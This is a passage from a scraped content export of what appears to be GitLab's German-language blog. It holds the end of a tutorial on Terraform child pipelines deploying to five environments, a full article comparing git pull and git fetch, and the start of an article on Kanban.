pipeline to finish to mark upstream pipeline as successful. Andernfalls schlagen alle Pipelines fehl, wenn eine Pipeline-Zeitüberschreitung vor der Bereitstellung auf die 2. Ebene erreicht wurde.\n    forward:\n      yaml_variables: true      # Forward variables defined in the trigger job\n      pipeline_variables: true  # Forward manual pipeline variables and scheduled pipeline variables\n\nqa:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: qa\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n\nproduction:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: production\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_TAG\n```\n\n**Ein wichtiger Trick ist hier die Strategie, die für die neue Downstream-Pipeline verwendet wird.** Wir belassen `trigger:strategy` auf ihrem Standardwert. Andernfalls würde die [Haupt-Pipeline](#the-main-pipeline) warten, bis deine [Pipeline der zweiten Ebene](#the-grand-child-pipeline) abgeschlossen ist. Bei einem manuellen Auslöser kann dies sehr lange dauern und das Lesen und Verstehen deines Pipeline-Dashboards erschweren.\n\nDu hast dich wahrscheinlich schon gefragt, was der Inhalt der Datei `.gitlab-ci/.second-layer.gitlab-ci.yml` ist, die wir hier anführen. Wir gehen im nächsten Abschnitt darauf ein.\n\n##### Vollständige Pipeline-Definition auf der ersten Ebene\n\nWenn du eine vollständige Ansicht dieser ersten Ebene möchtest (gespeichert in `.gitlab-ci/.first-layer.gitlab-ci.yml`), erweitere einfach den Abschnitt unten.\n\n```yml\nvariables:\n  TF_VAR_aws_ami_id: $AWS_AMI_ID\n  TF_VAR_aws_instance_type: $AWS_INSTANCE_TYPE\n  TF_VAR_aws_default_region: $AWS_DEFAULT_REGION\n\ninclude:\n  - template: Terraform.gitlab-ci.yml\n\ndefault:\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: cache-$CI_COMMIT_REF_SLUG\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n\nstages:\n  - validate\n  - test\n  - build\n  - deploy\n  - cleanup\n  - 2nd_layer       # Use to deploy a 2nd environment on both the main branch and on the tags\n\nfmt:\n  rules:\n    - when: always\n\nvalidate:\n  rules:\n    - when: always\n\nkics-iac-sast:\n  rules:\n    - if: $SAST_DISABLED == 'true' || $SAST_DISABLED == '1'\n      when: never\n    - if: $SAST_EXCLUDED_ANALYZERS =~ /kics/\n      when: never\n    - when: on_success\n\niac-sast:\n  rules:\n    - if: $SAST_DISABLED == 'true' || $SAST_DISABLED == '1'\n      when: never\n    - if: $SAST_EXCLUDED_ANALYZERS =~ /kics/\n      when: never\n    - when: on_success\n\n###########################################################################################################\n## Integration env. and Staging. env\n##  * Auto-deploy to Integration on merge to main.\n##  * Auto-deploy to Staging on tag.\n##  * Integration can be manually destroyed if TF_DESTROY is set to true.\n##  * Destroy of next env. is not automated to prevent errors.\n###########################################################################################################\nbuild:  # terraform plan\n  environment:\n    name: $TF_STATE_NAME\n    action: prepare\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndeploy: # terraform apply --> automatically deploy on corresponding env (integration or staging) when merging to default branch or tagging. Second layer environments (qa and production) will be controlled manually\n  environment: \n    name: $TF_STATE_NAME\n    action: start\n    on_stop: destroy\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG\n\ndestroy:\n  extends: .terraform:destroy\n  variables:\n    GIT_STRATEGY: none\n  dependencies:\n    - build\n  environment:\n    name: $TF_STATE_NAME\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $TF_DESTROY == \"true\" # Manually destroy integration env.\n      when: manual\n###########################################################################################################\n\n###########################################################################################################\n## Dev env.\n##  * Temporary environment. Lives and dies with the Merge Request.\n##  * Auto-deploy on push to feature branch.\n##  * Auto-destroy on when Merge Request is closed.\n###########################################################################################################\nbuild_review:\n  extends: build\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndeploy_review:\n  extends: deploy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: start\n    on_stop: destroy_review\n    # url: https://$CI_ENVIRONMENT_SLUG.example.com\n  rules:\n    - if: $CI_COMMIT_TAG\n      when: never\n    - if: $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH\n      when: on_success\n\ndestroy_review:\n  extends: destroy\n  dependencies:\n    - build_review\n  environment:\n    name: $environment\n    action: stop\n  rules:\n    - if: $CI_COMMIT_TAG  # Do not destroy production\n      when: never\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH   # Do not destroy staging\n      when: never\n    - when: manual\n###########################################################################################################\n\n###########################################################################################################\n## Second layer\n##  * Deploys from main branch to qa env.\n##  * Deploys from tag to production.\n###########################################################################################################\n.2nd_layer:\n  stage: 2nd_layer\n  variables:\n    TF_ROOT: terraform\n  trigger:\n    include: .gitlab-ci/.second-layer.gitlab-ci.yml\n    # strategy: depend            # Do NOT wait for the downstream pipeline to finish to mark upstream pipeline as successful. Otherwise, all pipelines will fail when reaching the pipeline timeout before deployment to 2nd layer.\n    forward:\n      yaml_variables: true      # Forward variables defined in the trigger job\n      pipeline_variables: true  # Forward manual pipeline variables and scheduled pipeline variables\n\nqa:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: qa\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n\nproduction:\n  extends: .2nd_layer\n  variables:\n    TF_STATE_NAME_2: production\n    environment: $TF_STATE_NAME_2\n    TF_CLI_ARGS_plan_2: \"-var-file=../vars/$TF_STATE_NAME_2.tfvars\"\n  rules:\n    - if: $CI_COMMIT_TAG\n###########################################################################################################\n```\n\nIn dieser Phase stellen wir bereits sicher in drei Umgebungen bereit. Das ist meine persönliche Idealempfehlung. Wenn du jedoch mehr Umgebungen benötigst, füge diese deiner CD-Pipeline hinzu.\n\nDu hast sicherlich schon bemerkt, dass wir eine Downstream-Pipeline mit dem Stichwort `trigger:include` einbinden. Dazu gehört die Datei `.gitlab-ci/.second-layer.gitlab-ci.yml`. Da wir fast die gleiche Pipeline ausführen wollen, ist ihr Inhalt offensichtlich sehr ähnlich zu dem, den wir oben detailliert beschrieben haben. Der Hauptvorteil bei der Definition dieser [Pipeline der zweiten Ebene](#the-grand-child-pipeline) ist, dass sie allein besteht, was die Definition von Variablen und Regeln erleichtert.\n\n### Die Pipeline der zweiten Ebene\n\nDiese Pipeline der zweiten Ebene ist eine brandneue Pipeline. Daher muss es die Definition der ersten Ebene nachahmen mit:\n\n* [Aufnahme der Terraform-Vorlage](#run-terraform-commands-and-secure-the-code).\n* [Durchsetzung von Sicherheitskontrollen](#run-controls-on-all-branches). Bei der Terraform-Validierung handelt es sich um Duplikate der ersten Ebene. Sicherheitsscanner können jedoch Bedrohungen finden, die noch nicht vorhanden waren, als die Scanner zuvor ausgeführt wurden (z. B. wenn du einige Tage nach der Bereitstellung im Staging in der Produktion bereitstellst).\n* [Überschreiben von Build- und Bereitstellungs-Jobs, um spezifische Regeln festzulegen](#cd-to-review-environments). Beachte bitte, dass die Phase `destroy` nicht mehr automatisiert ist, um zu schnelle Löschvorgänge zu verhindern.\n\nWie oben erläutert, wurden `TF_STATE_NAME` und `TF_CLI_ARGS_plan` von der [Haupt-Pipeline](# the-main-pipeline) zur [untergeordneten Pipeline](#the-child-pipeline) bereitgestellt. Wir brauchten einen weiteren Variablennamen, um diese Werte von der [untergeordneten Pipeline](#the-child-pipeline) hierher, also an die [Pipeline der zweiten Ebene](#the-grand-child-pipeline), zu übergeben. Deshalb werden sie in der untergeordneten Pipeline mit dem Postfix `_2` versehen und der Wert wird während des `before_script` hier zurück in die entsprechende Variable kopiert.\n\nDa wir oben bereits jeden Schritt aufgeschlüsselt haben, können wir hier direkt auf die breite Ansicht der globalen Definition der zweiten Ebene zoomen (gespeichert in `.gitlab-ci/.second-layer.gitlab-ci.yml`).\n\n```yml\n# Use to deploy a second environment on both the default branch and the tags.\n\ninclude:\n  template: Terraform.gitlab-ci.yml\n\nstages:\n  - validate\n  - test\n  - build\n  - deploy\n\nfmt:\n  rules:\n    - when: never\n\nvalidate:\n  rules:\n    - when: never\n\nkics-iac-sast:\n  rules:\n    - if: $SAST_DISABLED == 'true' || $SAST_DISABLED == '1'\n      when: never\n    - if: $SAST_EXCLUDED_ANALYZERS =~ /kics/\n      when: never\n    - when: always\n\n###########################################################################################################\n## QA env. and Prod. env\n##  * Manually trigger build and auto-deploy in QA\n##  * Manually trigger both build and deploy in Production\n##  * Destroy of these env. is not automated to prevent errors.\n###########################################################################################################\nbuild:  # terraform plan\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: $TF_STATE_NAME_2\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n  environment:\n    name: $TF_STATE_NAME_2\n    action: prepare\n  before_script:  # Hack to set new variable values on the second layer, while still using the same variable names. Otherwise, due to variable precedence order, setting new value in the trigger job, does not cascade these new values to the downstream pipeline\n    - TF_STATE_NAME=$TF_STATE_NAME_2\n    - TF_CLI_ARGS_plan=$TF_CLI_ARGS_plan_2\n  rules:\n    - when: manual\n\ndeploy: # terraform apply\n  cache:  # Use a shared cache or tagged runners to ensure terraform can run on apply and destroy\n    - key: $TF_STATE_NAME_2\n      fallback_keys:\n        - cache-$CI_DEFAULT_BRANCH\n      paths:\n        - .\n  environment: \n    name: $TF_STATE_NAME_2\n    action: start\n  before_script:  # Hack to set new variable values on the second layer, while still using the same variable names. Otherwise, due to variable precedence order, setting new value in the trigger job, does not cascade these new values to the downstream pipeline\n    - TF_STATE_NAME=$TF_STATE_NAME_2\n    - TF_CLI_ARGS_plan=$TF_CLI_ARGS_plan_2\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n    - if: $CI_COMMIT_TAG && $TF_AUTO_DEPLOY == \"true\"\n    - if: $CI_COMMIT_TAG\n      when: manual\n###########################################################################################################\n```\n\nEt voilà. **Wir sind bereit.** Du kannst die Art und Weise ändern, wie du deine Jobausführungen kontrollierst, indem du bspw. die Möglichkeit von GitLab nutzt, [einen Job zu verzögern](https://docs.gitlab.com/ee/ci/jobs/job_control.html#run-a-job-after-a-delay), bevor du ihn in der Produktion bereitstellst.\n\n## Probiere es selbst\n\nWir haben endlich unser Ziel erreicht. Wir sind jetzt in der Lage, **Bereitstellungen in fünf verschiedenen Umgebungen** zu kontrollieren, wobei nur die **Feature-Branches**, der **Haupt-Branch** und **Tags** verwendet werden.\n* Wir verwenden Open-Source-Vorlagen von GitLab intensiv wieder, um Effizienz und Sicherheit in unseren Pipelines zu gewährleisten.\n* Wir nutzen GitLab-Vorlagen, um nur die Blöcke zu überschreiben, die eine benutzerdefinierte Kontrolle benötigen.\n* Wir haben die Pipeline in kleine Teile aufgeteilt und kontrollieren die Downstream-Pipelines so, dass sie genau dem entsprechen, was wir brauchen.\n\nAb hier gehört die Bühne ganz dir. Du kannst beispielsweise die Haupt-Pipeline einfach aktualisieren, um Downstream-Pipelines für deinen Software-Quellcode mit dem Schlüsselwort [trigger:rules:changes](https://docs.gitlab.com/ee/ci/yaml/#ruleschanges) auszulösen. Und verwende je nach den aufgetretenen Änderungen eine andere [Vorlage](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/). Aber das ist eine andere Geschichte.",[110,1534,1535,746,767],{"slug":2699,"featured":6,"template":682},"using-child-pipelines-to-continuously-deploy-to-five-environments","content:de-de:blog:using-child-pipelines-to-continuously-deploy-to-five-environments.yml","Using Child Pipelines To Continuously Deploy To Five Environments","de-de/blog/using-child-pipelines-to-continuously-deploy-to-five-environments.yml","de-de/blog/using-child-pipelines-to-continuously-deploy-to-five-environments",{"_path":2705,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2706,"content":2713,"config":2721,"_id":2723,"_type":16,"title":2724,"_source":17,"_file":2725,"_stem":2726,"_extension":20},"/de-de/blog/git-pull-vs-git-fetch-whats-the-difference",{"ogTitle":2707,"schema":2708,"ogImage":2709,"ogDescription":2710,"ogSiteName":2711,"noIndex":6,"ogType":1397,"ogUrl":2712,"title":2707,"canonicalUrls":2712,"description":2710},"Git Pull vs. Git Fetch: Unterschiede & Anwendung erklärt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"git fetch vs. git pull: Das ist der Unterschied!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2024-09-24\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660028/Blog/Hero%20Images/blog-image-template-1800x945__25_.png","Git Pull kombiniert fetch + merge in einem Befehl. Erfahre die Unterschiede zu Git Fetch, wann du welchen Command nutzt und vermeide typische Fehler.","https://about.gitlab.com/de-de","https://about.gitlab.com/de-de/blog/git-pull-vs-git-fetch-whats-the-difference",{"heroImage":2709,"body":2714,"authors":2715,"updatedDate":2716,"date":2717,"title":2718,"tags":2719,"description":2720,"category":1033},"Der Git-Befehl ist als [verteiltes\nVersionskontrollsystem](https://about.gitlab.com/de-de/topics/version-control/benefits-distributed-version-control-system/)\nsehr beliebt und wird verwendet, wenn eine Synchronisation mit einem\nRemote-Repository erforderlich ist. \n\n\nEntwickler(innen) müssen die geeigneten Befehle basierend auf den Anforderungen des Projekts auswählen. In diesem Artikel erklären wir die Grundlagen und Unterschiede zwischen git fetch und git pull und geben eine detaillierte Erläuterung ihrer jeweiligen Anwendungsfälle.\n\n\n**In diesem Artikel lernst du:**\n\n\n* Wann du `git pull` vs. `git fetch` verwendest\n\n* Wie du Konflikte vermeidest (und löst, wenn sie auftreten)  \n\n* Welche Fallstricke es gibt und wie du sie umgehst\n\n\n## Inhaltsverzeichnis - git fetch vs. git pull: Das ist der Unterschied!\n\n\n* [Worum geht es bei git pull?](#worum-geht-es-bei-git-pull)\n\n* [Was ist git fetch?](#was-ist-git-fetch)\n\n* [git pull - Daten aktualisieren](#git-pull---daten-aktualisieren)\n\n* [git pull - Mehr als nur ein Befehl](#git-pull---mehr-als-nur-ein-befehl)\n\n* [git pull vs git fetch - Wann benutze ich welchen Befehl?](#git-pull-vs-git-fetch---wann-benutze-ich-welchen-befehl)\n\n* [git pull - Die Basis für kollaboratives Arbeiten](#git-pull---die-basis-für-kollaboratives-arbeiten)\n\n* [git fetch und git pull FAQs](#git-fetch-und-git-pull-faqs)\n\n  * [Wie oft sollte ich den Pull-Befehl ausführen?](#wie-oft-sollte-ich-den-pull-befehl-ausführen)\n  * [Was ist mit Autofetch oder Autopull?](#was-ist-mit-autofetch-oder-autopull)\n  * [Was passiert bei Problemen mit git pull?](#was-passiert-bei-problemen-mit-git-pull)\n  * [Ist git pull riskant?](#ist-git-pull-riskant)\n\n## Worum geht es bei git pull?\n\n\nGit pull nimmt eine essenzielle Rolle in der Versionskontrolle ein. Git ist ein Tool, das Entwicklerteams im Rahmen von DevSecOps dabei unterstützt, sowohl zeitgleich als auch zeitversetzt an einem Softwareprojekt zu arbeiten. Git sorgt unter anderem dafür, dass alle stets mit der aktuellen und korrekten Version arbeiten und jede Änderung für alle sichtbar ist. Dieser aktuelle Stand des Projekts wird in dem sogenannten zentralen Remote Repository festgehalten. \n\n\nEin Git-Repository ist deine Projektverwaltung. Es enthält nicht nur deine aktuellen Dateien, sondern die komplette Historie aller Änderungen. Stell es dir wie ein intelligentes Backup-System vor: Jeder 'Commit' ist ein Schnappschuss deines Projekts zu einem bestimmten Zeitpunkt. Das Repository speichert all diese Schnappschüsse effizient und ermöglicht dir, jederzeit zu früheren Versionen zurückzukehren.\n\n\nMitarbeiter(innen) können somit offline arbeiten und Änderungen in ihrem lokalen Repository und lokalen Arbeitsverzeichnis speichern. Sobald sie die Änderungen auf das Remote Repository übertragen, werden diese auch für alle anderen erkennbar.\n\n\nSo sorgt git für eine ständige Aktualisierung, sodass alle jederzeit mit den neuesten Daten arbeiten. Git pull ist der Schlüssel dazu, diese Versionskontrolle in die Praxis umzusetzen. \n\n\n## Was ist git fetch?\n\n\nDer Befehl git fetch ruft die neueste Commit-Historie aus dem Remote-Repository ab, beeinflusst aber nicht das lokale Arbeitsverzeichnis. Selbst nach dem Abrufen der Remote-Änderungen werden diese nicht im lokalen Branch übernommen. Er wird hauptsächlich verwendet, wenn Sie den neuesten Stand aus dem Remote-Repository abrufen und die Änderungen überprüfen möchten, bevor sie im lokalen Repository übernommen werden. Um die abgerufenen Änderungen auf den lokalen Branch anzuwenden, müssen Sie manuell git merge oder [git rebase](https://docs.gitlab.com/topics/git/git_rebase/) ausführen.\n\n\n## git pull - Daten aktualisieren\n\n\nWillst du dich als Entwickler(in) zu Beginn deiner Arbeit auf den neuesten Stand bringen? Dann wirst du wissen wollen, welche Änderungen seit deinem letzten Login vorgenommen wurden. \n\n\nDazu muss erwähnt werden, dass nicht alle Änderungen übernommen werden. Jedes Teammitglied nutzt den git-push-Befehl, um seine Änderungen ins Remote Repository hochzuladen. Diese landen meist in Feature-Branches. Teamleiter(innen) prüfen diese Änderungen und führen sie über Merge Requests in den Hauptbranch (main/master) zusammen. Mit git pull holst du dir dann die aktuellste Version dieses Hauptbranches auf deinen Rechner. \n\n\nDie einfachste Möglichkeit, die als „true” gekennzeichnete Version zu erhalten, besteht darin, diese Änderungen auf deinen Arbeitsplatz zu ziehen und dann auf dieser Basis weiterzuarbeiten. \n\nGenau diese Aufgabe übernimmt git pull. Es aktualisiert dein lokales Repository sowie deine projektbezogenen Dateien und sorgt somit dafür, dass du genau dort ansetzt, wo sich das Projekt gerade befindet. Das Fachmagazin Chip  bringt es auf den Punkt:\n\n„Den Pull-Befehl benötigen Sie im täglichen git-Workflow, um das lokale Repository mit den neuesten Änderungen zu aktualisieren.”\n\n\n## git pull - Mehr als nur ein Befehl\n\n\ngit pull ist mehr als nur ein Befehl. Und diese Aussage kannst du wörtlich nehmen. \n\nDenn obwohl du nur einen einzigen Command anwendest, passieren bei pull stets zwei Aktionen auf einmal. Es handelt sich hierbei um einen zusammengesetzten Befehl, der git fetch und git merge miteinander kombiniert und nacheinander ausführt:\n\n\ngit fetch zieht als erstes die aktuellen Daten aus dem Remote Repository in dein lokales Repository. Damit kannst du sehen, woran deine Kolleg(inn)en gearbeitet haben und welche Änderungen vorgenommen wurden. Noch aber werden diese Änderungen auf deinem Rechner nicht umgesetzt. \n\n\ngit merge übernimmt anschließend die Aktualisierung deines gesamten Projekts und bringt es auf den Stand des Remote Repository. Alles, was sich in deinem Arbeitsverzeichnis befindet, wird ebenfalls angepasst.\n\n\nFür viele git-Nutzer ist git pull eine tägliche Routine. Doch obwohl der Unterschied zwischen git fetch und git pull sehr fein ist, legen manche großen Wert darauf, die beiden Einzel-Commands fetch und merge stets getrennt zu nutzen. Warum eigentlich? Oder, um die Frage anders zu formulieren: \n\n\n## git pull vs git fetch - Wann benutze ich welchen Befehl?\n\n\nIn aller Regel wirst du als Entwickler(in) mit dem neuesten Stand des Projekts arbeiten wollen. Dazu müssen sowohl dein Repository als auch deine lokalen Daten in Einklang mit den als „true” gekennzeichneten Daten gebracht werden. Der Unterschied zwischen git fetch und git pull besteht darin, wie diese Aktualisierung erfolgt. \n\n\ngit pull ist die schnellste Methode, dieses Ziel umzusetzen. Hier ein praktisches Beispiel:\n\n\n```bash\n\n# Aktuelle Änderungen vom main-Branch holen und direkt anwenden\n\ngit pull origin main\n\n\n# Was im Hintergrund passiert:\n\ngit fetch origin main  # Änderungen herunterladen\n\ngit merge origin/main  # Änderungen in deinen Branch einarbeiten\n\n```\n\n\nMit diesem einen Befehl vermeidest du sowohl überflüssige Arbeitsschritte als auch Fehler, die daraus resultieren können, dass du mit einer nicht mehr aktuellen Version der Software arbeitest. Du arbeitest damit immer mit der neuesten Version und reduzierst das Risiko von Konflikten mit den Änderungen deiner Teamkollegen.\n\n\nZwar ist eine Fehlerkontrolle auch mit git pull noch möglich, doch jegliche Korrekturen inhaltlicher Natur können von dir nicht mehr hinterfragt werden.\n\nIndem du zuerst git fetch durchführst und erst später den merge (die “Verschmelzung”), kannst du noch weiterhin die Daten deines lokalen Working Directories nutzen und editieren. Erst nachdem du den git-merge-Befehl erteilst, vollziehst du die Umsetzung des neuen Stands. \n\n\n## git pull - Die Basis für kollaboratives Arbeiten\n\n\nDoch unabhängig davon, ob du git pull nutzt oder eine getrennte Ausführung von fetch und merge bevorzugst, bleibt die Bedeutung der damit verbundenen Aktionen unbestritten.\n\n\nGit pull ist die Basis für die zentrale Funktionalität von git: Ein fehlerfreies Arbeiten vieler Teammitglieder an einem geteilten Projekt, bei dem jede(r), unabhängig von Wohnsitz, Zeitzone und Rolle in dem Projekt stets an derselben Version des Produkts arbeitet. \n\n\nAlleine schon deswegen verdient der Command seine Einschätzung als einer der wichtigsten Befehle in git überhaupt. \n\n\n## git fetch und git pull FAQs\n\n\n### Wie oft sollte ich den Pull-Befehl ausführen?\n\n\nDies ist eine wichtige praktische Frage für viele Entwickler(innen). Allerdings gibt es keine Antwort, die Allgemeingültigkeit besitzt. Wenn du solo an einem Projekt arbeitest - beispielsweise alleine an einer lokalen Branch des Projekts - besteht keine Notwendigkeit, ständig einen pull durchzuführen. Du erfüllst schlicht deine Aufgabe und überträgst diese mit einem git-pull-Befehl ins Remote Repository. \n\n\nAnders sieht es aus, wenn du in einem kleinen Team am selben Teil (derselben lokalen Branch) des Produkts arbeitest. Hier kann es in der Praxis am einfachsten und effektivsten sein, wenn jede(r) die anderen kurz benachrichtigt, wenn eine Änderung durchgeführt wurde. Wenn alle Teammitglieder für sich einen pull durchführen, sind alle wieder auf dem neuesten Stand.\n\n\nIn größeren Teams ist diese Art der direkten Kommunikation nicht mehr effizient. Hier hängt eine Menge davon ab, wie schnell in der Regel Projekte umgesetzt oder Änderungen freigegeben werden. Je nachdem kann es sinnvoll sein, nur einmal oder mehrfach am Tag zu “pullen”. Eine andere logische Idee besteht darin, vor Beginn und nach Ende der eigenen Arbeit die Aktualisierung zu starten. \n\n\n### Was ist mit Autofetch oder Autopull?\n\n\nWenn eine der Kernfunktionen von git darin besteht, stets die aktuelle Version der Anwendung auf jedem Arbeitsplatz bereit zu stellen, wäre es dann nicht sinnvoll, wenn das System diese Updates regelmäßig selbst durchführt? Oder sogar immer dann, wenn eine neue Version als „true” gekennzeichnet wird? \n\n\nWir meinen, dass Autopull eher problematisch ist. Während du an deiner aktuellen Aufgabe arbeitest, kann es zu Konflikten mit den neuen Daten kommen. Es kann auch deinen Arbeitsfluss unterbrechen. Bei einem Autofetch wäre immerhin garantiert, dass nur das Repository angepasst wird und du noch immer Einsicht in die Änderungen hast, ehe sie auch lokal umgesetzt werden. Hier ist fraglich, ob es nicht trotzdem sinnvoll ist, den fetch nur durchzuführen, wenn du nicht an etwas anderem arbeitest und dich der Einsicht, beziehungsweise der Kontrolle widmen kannst. \n\nEs gibt durchaus Entwickler(innen), die ein automatisiertes pull oder fetch für sinnvoll halten und es gewinnbringend nutzen. Die meisten aber fühlen sich sicherer damit, die Befehle aktiv und bewusst zu verwenden.\n\n\n### Was passiert bei Problemen mit git pull?\n\n\nWie angedeutet, kann es zu Konflikten zwischen den Daten in dem Working Directory auf dem zentralen Server und deinem lokalen Directory kommen. In diesem Fall kann der pull-Befehl nicht ordnungsgemäß durchgeführt werden. Zum Glück ist das kein schwerwiegendes Problem. \n\n\nWas in diesem Fall passiert, ist schlicht, dass der pull-Command in einen fetch-Befehl umgewandelt wird. Das bedeutet, git gewährt dir Einblick in die Änderungen, die vorgenommen wurden und zeigt die Konflikte auf. Du kannst nun anschließend selbst die Fehler beseitigen (beziehungsweise Konflikte auflösen) und dann den merge umsetzen. \n\n\n### Ist git pull riskant?\n\n\nEs wird immer wieder von erfahrenen Entwickler(inne)n darauf hingewiesen, dass git pull nicht optimal ist. Aus ihrer Sicht gibt es eine Vielzahl universeller Schwierigkeiten mit diesem Command.\n\n\nEinige dieser Aspekte haben wir bereits aufgegriffen. Andere sind sehr spezifisch und beziehen sich darauf, wie pull die Repositories verändert. Eine gute Übersicht bietet diese Diskussion auf Stackoverflow (auf Englisch), die auf die Probleme detailliert eingeht. \n\n\nFür Anfänger(innen) ist es gewiss eine bessere Lernerfahrung, den Begriff in seine beiden Einzelkomponenten aufzuteilen, um genau zu erkennen, was genau sich durch die beiden Befehle, aus denen git pull eigentlich besteht, ändert. Profis andererseits mögen für ihre Bedürfnisse bessere Alternativen haben.\n\n\nAllgemein aber verwenden tausende Programmierer(innen) den pull-Command jeden Tag zu voller Zufriedenheit. Es gibt somit keinen Grund, ihn generell zu verteufeln oder von seiner Nutzung abzuraten.\n\n\n## Mehr erfahren\n\n\n* [Was ist neu in Git 2.46](https://about.gitlab.com/de-de/blog/what-s-new-in-git-2-50-0/)\n\n* [Git lernen](https://docs.gitlab.com/ee/topics/git/)\n\n* [Mehr über GitLab Gitaly erfahren](https://docs.gitlab.com/ee/administration/gitaly/)\n",[826],"2025-07-28","2024-09-24","git pull vs. git fetch: Die Unterschiede erklärt",[849,913],"Ein Befehl, zwei Aktionen: Was git pull wirklich macht und wann git fetch die bessere Wahl ist.",{"slug":2722,"featured":6,"template":682},"git-pull-vs-git-fetch-whats-the-difference","content:de-de:blog:git-pull-vs-git-fetch-whats-the-difference.yml","Git Pull Vs Git Fetch Whats The Difference","de-de/blog/git-pull-vs-git-fetch-whats-the-difference.yml","de-de/blog/git-pull-vs-git-fetch-whats-the-difference",{"_path":2728,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2729,"content":2735,"config":2740,"_id":2742,"_type":16,"title":2743,"_source":17,"_file":2744,"_stem":2745,"_extension":20},"/de-de/blog/what-is-kanban",{"title":2730,"description":2731,"ogTitle":2730,"ogDescription":2731,"noIndex":6,"ogImage":2732,"ogUrl":2733,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2733,"schema":2734},"Kanban: Mehr Transparenz und Flow für deine Softwareentwicklung?","Kanban sorgt für einen besseren Flow, senkt Kosten und optimiert deinen DevOps-Prozess. Erfahre, wie es mit der Umsetzung klappt.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663044/Blog/Hero%20Images/kanban.jpg","https://about.gitlab.com/blog/what-is-kanban","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Kanban: Mehr Transparenz und Flow für deine Softwareentwicklung?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2024-09-12\",\n      }",{"title":2730,"description":2731,"authors":2736,"heroImage":2732,"date":2737,"body":2738,"category":976,"tags":2739},[701],"2024-09-12","# Kanban: Mehr Transparenz und Flow für deine Softwareentwicklung?\n\n## Inhalt - Was ist Kanban?\n\n- [Was ist Kanban](#was-ist-kanban%3F)\n- [Was ist ein Kanban-Board?](#was-ist-ein-kanban-board%3F)\n- [Wie funktioniert das Kanban-System?](#wie-funktioniert-das-kanban-system%3F)\n- [Beispiele für Kanban-Boards](#beispiele-für-kanban-boards)\n- [Die Kanban-Methode als Veränderungsmanagement und Verbesserungsmanagement](#die-kanban-methode-als-veränderungsmanagement-und-verbesserungsmanagement)\n- [Worum geht es bei der Kanban-Methode?](#worum-geht-es-bei-der-kanban-methode%3F)\n- [Grundsätze: Wie funktioniert das Kanban-System?](#grundsätze-wie-funktioniert-das-kanban-system%3F)\n- [Kanban: Agile oder Lean?](#kanban-agile-oder-lean%3F)\n- [Scrum vs. Kanban: Übersicht](#scrum-vs-kanban-übersicht)\n- [Scrum vs. Kanban: Unterschiede](#scrum-vs-kanban-unterschiede)\n- [Wann funktioniert Kanban nicht?](#wann-funktioniert-kanban-nicht%3F)\n- [Wie gliedere ich mein Kanban-Board?](#wie-gliedere-ich-mein-kanban-board%3F)\n- [GitLab-Issue-Boards und Kanban Projekt-Management](#gitlab-issue-boards-und-kanban-projekt-management)\n- [Wie nutze ich GitLab-Issue-Boards für mein Kanban?](#wie-nutze-ich-gitlab-issue-boards-für-mein-kanban%3F)\n\n## Was ist Kanban?\nDie frühen Ursprünge von Kanban gehen auf das 17. Jahrhundert zurück. In seiner heutigen Bedeutung allerdings kam der Begriff erst Mitte des 20. Jahrhunderts zu weltweiter Bekanntheit. Seitdem wächst die Kanban-Anhängerschaft kontinuierlich. Für David J. Anderson stand schon 2013 fest, dass es “das nächste große Ding auf dem Softwareprozess-Markt” sein wird.\n\nDas mag nach einer Übertreibung klingen, aber Anderson wusste, wovon er spricht. Schließlich ist er einer der Pioniere, die Kanban auf den Softwarebereich übertragen haben.\n\nAuch dein Unternehmen wird in der Regel von Kanban profitieren. Das Gute daran: das Kanban-Verfahren verlangt nicht, deinen aktuellen Managementstil oder alle deine Prozesse komplett auf den Kopf zu stellen. Vielmehr fügt es sich nahtlos in die unterschiedlichsten Unternehmensstrukturen ein.\n\n[GitLab](https://about.gitlab.com/de-de/) bietet mit seinen Issue-Boards die Möglichkeit, den Software-Entwicklungsprozess mit Kanban zu optimieren. Bevor wir allerdings 